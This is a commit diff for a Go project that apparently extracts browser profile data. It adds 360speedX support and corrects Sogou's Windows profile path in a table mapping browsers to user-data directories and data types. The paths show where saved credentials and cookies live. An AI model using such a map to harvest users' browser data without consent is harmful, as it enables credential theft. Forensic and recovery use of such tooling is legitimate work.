feat: support 360speedX and sogou (#454)

* fix: Update the configuration file path of Sogou browser

* feat: support 360speedX browser
This commit is contained in:
Aquilao Official 2024-11-15 18:06:25 +08:00 committed by GitHub
parent 9121178ba7
commit 410e780518
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 9 additions and 2 deletions

View File

@ -63,11 +63,16 @@ var (
profilePath: yandexProfilePath,
dataTypes: types.DefaultYandexTypes,
},
"360": {
"360-speed": {
name: speed360Name,
profilePath: speed360ProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"360-speedx": {
name: speedX360Name,
profilePath: speedX360ProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"qq": {
name: qqBrowserName,
profilePath: qqBrowserProfilePath,
@ -105,6 +110,7 @@ var (
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
speedX360ProfilePath = homeDir + "/AppData/Local/360ChromeX/Chrome/User Data/Default/"
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
@ -112,7 +118,7 @@ var (
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
dcBrowserProfilePath = homeDir + "/AppData/Local/DCBrowser/User Data/Default/"
sogouProfilePath = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/"
sogouProfilePath = homeDir + "/AppData/Local/Sogou/SogouExplorer/User Data/Default/"
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)

View File

@ -20,6 +20,7 @@ const (
yandexName = "Yandex"
firefoxName = "Firefox"
speed360Name = "360speed"
speedX360Name = "360speedX"
qqBrowserName = "QQ"
dcBrowserName = "DC"
sogouName = "Sogou"